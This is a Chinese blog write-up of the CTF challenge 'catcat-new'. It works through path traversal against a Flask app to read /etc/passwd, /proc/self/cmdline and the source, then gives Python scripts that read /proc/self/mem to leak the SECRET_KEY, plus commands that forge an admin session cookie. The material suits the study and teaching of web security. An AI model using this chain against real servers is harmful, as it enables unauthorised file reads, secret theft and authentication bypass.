当前位置: 首页 > news >正文

攻防世界33 catcat-new【文件包含/flask_session伪造】

 题目:

点击一只猫猫:

看这个url像是文件包含漏洞,试试

 dirsearch扫出来/admin,访问也没成功(--delay 0.1 -t 5)

会的那几招全用不了了哈哈,那就继续看答案

先总结几个知识点

1./etc/passwd:是一个文本文件,存储了系统中所有用户的基本信息,任何用户都可以读取该文件,但只有超级用户(root)可以修改它,该文件的存在有助于系统识别和管理用户账户。

文件中的每一行代表一个用户账户,每行由冒号 : 分隔成 7 个字段,基本格式:

用户名:口令(密码):用户标识号(UID):组标识号(GID):注释性描述(相当于备注):用户主目录(用户登录系统后默认进入的目录):登录Shell(用户登录系统后默认使用的shell程序)

2. /proc/self proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据,通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据

3./proc/self/cmdline 包含了当前进程启动时所使用的完整命令行参数(用来分析服务器运行环境,配置参数)。

4./proc/self/mem  当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

5./proc/self/maps   包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

6.flask的session构造序列化内容+时间+防篡改值,默认session的储存是在用户Cookie

7./proc/self/environ该文件包含了当前进程的环境变量

8./proc/self/fd这是一个目录,该目录下的文件包含着当前进程打开的文件的内容和路径。这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的fd目录下的pid文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容。通过/proc/self/fd/§pid§来查看你当前进程所打开的文件内容。

当pid不知道时,我们可以通过bp爆破,pid是数字。

9./proc/self/exe获取当前进程的可执行文件的路径

做法: 

搜索信息

1.file=../../etc/passwd(利用文件包含漏洞,会直接包含这个文件,前面../不够就多加几个)

b'root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nutmp:x:100:406:utmp:/home/utmp:/bin/false\n'

 2.file=../../proc/self/cmdline(分析服务器运行环境,配置参数)

b'python\x00app.py\x00'

说明当前进程是通过python app.py进行的,推测当前站点使用的是python的flask框架,该文件常常为flask项目结构中的主程序文件

获得源代码 

3.获取app.py

b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)' 

 格式化输出的代码

#需要格式化的代码
code_str = '''import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n    __name__,\n    static_url_path=\'/\', \n    static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n    flag = cat("/flag")\n    os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n    detailtxt = os.listdir(\'./details/\')\n    cats_list = []\n    for i in detailtxt:\n        cats_list.append(i[:i.index(\'.\')])\n\n    return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n    filename = "./details/" + request.args.get(\'file\', "")\n    start = request.args.get(\'start\', "0")\n    end = request.args.get(\'end\', "0")\n    name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n\n    return render_template("detail.html", catname=name, info=cat(filename, start, end))\n\n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n    if session.get(\'admin\') == 1:\n        return flag\n    else:\n        session[\'admin\'] = 0\n        return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n    app.run(host=\'0.0.0.0\', debug=False, port=5637)'''# 按行分割字符串
lines = code_str.split('\n')indented_lines = [line if line.strip() else '' for line in lines]# 连接并打印格式化后的代码
formatted_code = '\n'.join(indented_lines)
print(formatted_code)

得到结果

import os  #与操作系统交互
import uuid #用于生成和操作通用唯一识别码uuid,此处用于生成 Flask 应用的 SECRET_KEY
from flask import Flask, request, session, render_template, Markup
from cat import cat
#关于这些模块的作用:
#Flask:用于创建 Flask 应用实例
#request:用于处理客户端发送的请求,获取请求中的参数
#session:用于管理用户会话,存储用户的会话数据
#render_template:用于渲染 HTML 模板
#Markup:用于处理 HTML 标记flag = "" #初始化
#创建flask应用实例
app = Flask(__name__,static_url_path='/', static_folder='static' 
)
#设置 Flask 应用的 SECRET_KEY,用于会话管理和消息签名。
#这里使用 UUID 生成一个随机的密钥,并去除其中的连字符,再加上固定的字符串 *abcdefgh
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
#检查 /flag 文件是否存在
if os.path.isfile("/flag"):flag = cat("/flag")os.remove("/flag")#访问根路径的时候,执行index函数
@app.route('/', methods=['GET'])
def index():
#os.listdir:获取./details/目录下所有文件名detailtxt = os.listdir('./details/')cats_list = []  #创建列表,用于存储文件名去除扩展名后的部分
#i 是循环变量,在每次循环中,i 会依次取 detailtxt 列表中的每个元素  for i in detailtxt:
#index()用于查找字符串中指定字符(也就是i)第一次出现的位置(索引为0)
#i[:i.index('.')]:截取字符串的一部分。表示从字符串 i 的开头截取到.出现的位置(不包含.)
#append()用于在列表的末尾添加一个元素。cats_list.append(i[:i.index('.')])#渲染 index.html 模板,并将 cats_list 和 cat 函数传递给模板。return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])
def info():
#request.args.get('file', ""):从HTTP请求的查询参数中获取 file 参数的值filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))#关键代码
@app.route('/admin', methods=["GET"])
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"#启动应用
if __name__ == '__main__':#确保代码作为脚本直接运行时才启动 Flask 应用。
#启动 Flask 应用,监听所有网络接口(host='0.0.0.0'),关闭调试模式,并指定端口号为 5637。app.run(host='0.0.0.0', debug=False, port=5637)

关键点在于session中的admin只要为1,就可以拿到flag,这里就用到flask_session伪造,需要用到secret_key(通过内存数据读取),在读取内存数据文件/proc/self/mem之前,我们要先读取/proc/self/maps文件获取可读内容的内存映射地址。

获取secret_key

脚本1

先用?file=../../../proc/self/maps

将返回的内容保存在txt (但是运行没成功?。。)

import re
import requestsmaps = open('攻防世界-catcat-new/test.txt')  # 打开名为 'test.txt' 的文件并赋值给变量 maps
b = maps.read()  # 读取文件内容并赋值给变量 b
lst = b.split('\\n')  # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。for line in lst:  # 遍历列表 lst 中的每一行内容if 'rw' in line:  # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line)  # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中start = int(addr.group(1), 16)  # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 startend = int(addr.group(2), 16)  # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 endprint(start, end)  # 打印起始地址和结束地址# 构造请求URL,用于读取 /proc/self/mem 文件的特定区域url = f"http://61.147.171.105:52968/info?file=../../../proc/self/mem&start={start}&end={end}"# 发送 GET 请求并获取响应response = requests.get(url)# 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEYsecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)# 如果找到了 SECRET_KEY,则打印并结束循环if secret_key:print(secret_key)break
脚本2

原理跟脚本1一样,只不过这个不用手动访问/proc/self/maps了,把这些内存的映射地址裂成列表,然后找到有rw的(可读可写),再访问/proc/self/mem&start={起始地址}&end={终止地址}

这里的起始地址就是-前面的,终止地址就是-后面的,但是得把它转换成十进制,读取对应的内存,如果发现secret_key格式的东西就打印出来

 import requestsimport re  #支持正则表达式操作import sys #用于访问和操作 Python 解释器的各种设置和状态信息url = "http://61.147.171.105:59089/"#此程序只能运行于Python3以上if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')​#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret keys_key = ""bypass = "../.."#请求file路由进行读取map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")map_list = map_list.text.split("\\n")for i in map_list:#匹配指定格式的地址map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if map_addr:#将提取到的十六进制地址字符串转换为十进制整数。#group() 是匹配对象的一个方法,用于获取指定捕获组匹配到的内容。#group(1) 表示获取第一个捕获组(即起始地址)匹配到的字符串      start = int(map_addr.group(1), 16)end = int(map_addr.group(2), 16)# print("Found rw addr:", start, "-", end)#设置起始和结束位置并读取/proc/self/mem(内存内容)res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")#f表示这是一个f-string,可以嵌入表达式print(f'{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}')#用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkeyif "*abcdefgh" in res.text:#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefghsecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)if secret_key:print("Secret Key:", secret_key[0])s_key = secret_key[0]break

抓包获得session

利用flask-session-cookie-manager-master解码:

python flask_session_cookie_manager3.py decode -s "4cdfceee9981498794c8408a1b375c4e*abcdefgh" -c "eyJhZG1pbiI6MH0.Z6l7pw.aOjXfOfFgyi-BipJJiG8ZnHNbjA"

 再将{'admin':1}编码:

python flask_session_cookie_manager3.py encode -s "4cdfceee9981498794c8408a1b375c4e*abcdefgh" -t "{'admin':1}"

刷新一下/admin界面,然后修改session  

拿到flag 

参考:攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园

相关文章:

攻防世界33 catcat-new【文件包含/flask_session伪造】

题目&#xff1a; 点击一只猫猫&#xff1a; 看这个url像是文件包含漏洞&#xff0c;试试 dirsearch扫出来/admin&#xff0c;访问也没成功&#xff08;--delay 0.1 -t 5&#xff09; 会的那几招全用不了了哈哈&#xff0c;那就继续看答案 先总结几个知识点 1./etc/passwd&am…...

Git -> Git配置密钥对,并查看公钥

Git密钥对的核心作用 私钥 (id_rsa) 你的数字身份证&#xff1a;存放在本机 ~/.ssh 目录下必须严格保密&#xff08;类似银行卡密码&#xff09;&#xff0c;不可泄露或共享用于 解密 来自服务器的加密信息 公钥 (id_rsa.pub) 可公开的验证锁&#xff1a;需要上传到 Git 服…...

淘宝订单列表Fragment转场动画卡顿解决方案

如何应对产品形态与产品节奏相对确定情况下转变为『在业务需求与产品形态高度不确定性的情况下&#xff0c;如何实现业务交付时间与交付质量的确定性』。我们希望通过混合架构&#xff08;Native 业务容器 Weex 2.0&#xff09;作为未来交易终端架构的重要演进方向&#xff0c…...

【ESP32指向鼠标】——icm20948与esp32通信

【ESP32指向鼠标】——icm20948与esp32通信 ICM-20948介绍 ICM-20948 是一款由 InvenSense&#xff08;现为 TDK 的一部分&#xff09;生产的 9 轴传感器集成电路。它结合了 陀螺仪、加速度计和磁力计。 内置了 DMP&#xff08;Digital Motion Processor&#xff09;即负责执…...

Xcode证书密钥导入

证书干嘛用 渠道定期会给xcode证书&#xff0c;用来给ios打包用&#xff0c;证书里面有记录哪些设备可以打包进去。 怎么换证书 先更新密钥 在钥匙串访问中&#xff0c;选择系统。(选登录也行&#xff0c;反正两个都要导入就是了)。 mac中双击所有 .p12 后缀的密钥&#xff…...

Ubuntu安装PgSQL17

参考官网教程&#xff0c;Ubuntu24 apt在线安装Postgres 17 1. 要手动配置 Apt 存储库 # 导入存储库签名密钥&#xff1a; sudo apt install curl ca-certificates sudo install -d /usr/share/postgresql-common/pgdg sudo curl -o /usr/share/postgresql-common/pgdg/apt…...

K8S容器启动提示:0/2 nodes are available: 2 Insufficient cpu.

问题&#xff1a;K8S的容器启动报错0/2 nodes are available: 2 Insufficient cpu. 原因&#xff1a;Pod的资源请求&#xff08;requests&#xff09;设置不当&#xff1a;在Kubernetes中&#xff0c;调度器根据Pod的requests字段来决定哪个节点可以运行该Pod。如果一个Pod声明…...

LabVIEW外腔二极管激光器稳频实验

本项目利用LabVIEW软件开发了一个用于外腔二极管激光器稳频实验的系统。系统能够实现激光器频率的稳定控制和实时监测&#xff0c;为激光实验提供了重要支持。 项目背景&#xff1a; 系统解决了外腔二极管激光器频率不稳定的问题&#xff0c;以满足对激光器频率稳定性要求较高…...

笔记6——字典dict(dictionary)

文章目录 字典dict(dictionary)定义特点常用操作1.访问值2.添加键值对3.修改值4.删除键值对5.遍历字典6.合并字典 性能应用场景dict和list的区别 字典dict(dictionary) 以 键 - 值对 (key - value pairs)的形式存储数据 定义 字典使用花括号 {} 来定义&#xff0c;键和值之…...

【MySQL】InnoDB单表访问方法

目录 1、背景2、环境3、访问类型【1】const【2】ref【3】ref_or_null【4】range【5】index【6】all 4、总结 1、背景 mysql通过查询条件查询到结果的过程就叫访问方法&#xff0c;一条查询语句的访问方法有很多种&#xff0c;接下来我们就来讲一下各种访问方法。 2、环境 创…...

APP端网络测试与弱网模拟!

当前APP网络环境比较复杂&#xff0c;网络制式有2G、3G、4G网络&#xff0c;还有越来越多的公共Wi-Fi。不同的网络环境和网络制式的差异&#xff0c;都会对用户使用app造成一定影响。另外&#xff0c;当前app使用场景多变&#xff0c;如进地铁、上公交、进电梯等&#xff0c;使…...

【个人开发】deepseed+Llama-factory 本地数据多卡Lora微调

文章目录 1.背景2.微调方式2.1 关键环境版本信息2.2 步骤2.2.1 下载llama-factory2.2.2 准备数据集2.2.3 微调模式2.2.4 微调脚本 2.3 踩坑经验2.3.1 问题一&#xff1a;ValueError: Undefined dataset xxxx in dataset_info.json.2.3.2 问题二&#xff1a; ValueError: Target…...

Redis7.0八种数据结构底层原理

导读 本文介绍redis应用数据结构与物理存储结构,共八种应用数据结构和 一. 内部数据结构 1. sds sds是redis自己设计的字符串结构有以下特点: jemalloc内存管理预分配冗余空间二进制安全(c原生使用\0作为结尾标识,所以无法直接存储\0)动态计数类型(根据字符串长度动态选择…...

Kafka 高吞吐量的底层技术原理

Kafka 之所以能够实现高吞吐量&#xff08;每秒百万级消息处理&#xff09;&#xff0c;主要依赖于其底层设计和多项优化技术。以下是 Kafka 实现高吞吐量的关键技术原理&#xff1a; 1. 顺序读写磁盘 Kafka 利用磁盘的顺序读写特性&#xff0c;避免了随机读写的性能瓶颈。 顺…...

CCFCSP第34次认证第一题——矩阵重塑(其一)

第34次认证第一题——矩阵重塑&#xff08;其一&#xff09; 官网链接 时间限制&#xff1a; 1.0 秒 空间限制&#xff1a; 512 MiB 相关文件&#xff1a; 题目目录&#xff08;样例文件&#xff09; 题目背景 矩阵&#xff08;二维&#xff09;的重塑&#xff08;reshap…...

网络工程师 (35)以太网通道

一、概念与原理 以太网通道&#xff0c;也称为以太端口捆绑、端口聚集或以太链路聚集&#xff0c;是一种将多个物理以太网端口组合成一个逻辑通道的技术。这一技术使得多个端口能够并行工作&#xff0c;共同承担数据传输任务&#xff0c;从而提高了网络的传输能力和可靠性。 二…...

O1、R1和V3模型

O1、R1和V3模型分别是不同团队或公司开发的人工智能模型&#xff0c;它们在定位、能力和应用场景上存在显著区别。以下是它们的详细对比&#xff1a; 1. 模型归属 O1模型&#xff1a;由OpenAI开发&#xff0c;属于其高性能推理模型系列。 R1和V3模型&#xff1a;由DeepSeek&a…...

Linux 安装 Ollama

1、下载地址 Download Ollama on Linux 2、有网络直接执行 curl -fsSL https://ollama.com/install.sh | sh 命令 3、下载慢的解决方法 1、curl -fsSL https://ollama.com/install.sh -o ollama_install.sh 2、sed -i s|https://ollama.com/download/ollama-linux|https://…...

docker配置国内源

配置Docker使用国内源&#xff08;也称为镜像加速器&#xff09;可以显著提高拉取Docker镜像的速度&#xff0c;特别是在中国地区。以下是如何配置Docker使用国内源的步骤&#xff1a; 1. 修改Docker配置文件 Docker的配置文件通常位于/etc/docker/daemon.json。如果该文件不…...

【leetcode】关于循环数组的深入分析

原题&#xff1a;https://leetcode.cn/problems/rotate-array/description/ 给定一个整数数组 nums&#xff0c;将数组中的元素向右轮转 k 个位置&#xff0c;其中 k 是非负数。 示例 1: 输入: nums [1,2,3,4,5,6,7], k 3 输出: [5,6,7,1,2,3,4] 解释: 向右轮转 1 步: [7,1…...

浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义&#xff08;Task Definition&…...

51c自动驾驶~合集58

我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留&#xff0c;CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制&#xff08;CCA-Attention&#xff09;&#xff0c;…...

JavaScript 中的 ES|QL:利用 Apache Arrow 工具

作者&#xff1a;来自 Elastic Jeffrey Rengifo 学习如何将 ES|QL 与 JavaScript 的 Apache Arrow 客户端工具一起使用。 想获得 Elastic 认证吗&#xff1f;了解下一期 Elasticsearch Engineer 培训的时间吧&#xff01; Elasticsearch 拥有众多新功能&#xff0c;助你为自己…...

学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1

每日一言 生活的美好&#xff0c;总是藏在那些你咬牙坚持的日子里。 硬件&#xff1a;OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写&#xff0c;"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...

【python异步多线程】异步多线程爬虫代码示例

claude生成的python多线程、异步代码示例&#xff0c;模拟20个网页的爬取&#xff0c;每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程&#xff1a;允许程序同时执行多个任务&#xff0c;提高IO密集型任务&#xff08;如网络请求&#xff09;的效率…...

selenium学习实战【Python爬虫】

selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...

C++ Visual Studio 2017厂商给的源码没有.sln文件 易兆微芯片下载工具加开机动画下载。

1.先用Visual Studio 2017打开Yichip YC31xx loader.vcxproj&#xff0c;再用Visual Studio 2022打开。再保侟就有.sln文件了。 易兆微芯片下载工具加开机动画下载 ExtraDownloadFile1Info.\logo.bin|0|0|10D2000|0 MFC应用兼容CMD 在BOOL CYichipYC31xxloaderDlg::OnIni…...

python报错No module named ‘tensorflow.keras‘

是由于不同版本的tensorflow下的keras所在的路径不同&#xff0c;结合所安装的tensorflow的目录结构修改from语句即可。 原语句&#xff1a; from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后&#xff1a; from tensorflow.python.keras.lay…...

C#中的CLR属性、依赖属性与附加属性

CLR属性的主要特征 封装性&#xff1a; 隐藏字段的实现细节 提供对字段的受控访问 访问控制&#xff1a; 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性&#xff1a; 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑&#xff1a; 可以…...

【Linux手册】探秘系统世界:从用户交互到硬件底层的全链路工作之旅

目录 前言 操作系统与驱动程序 是什么&#xff0c;为什么 怎么做 system call 用户操作接口 总结 前言 日常生活中&#xff0c;我们在使用电子设备时&#xff0c;我们所输入执行的每一条指令最终大多都会作用到硬件上&#xff0c;比如下载一款软件最终会下载到硬盘上&am…...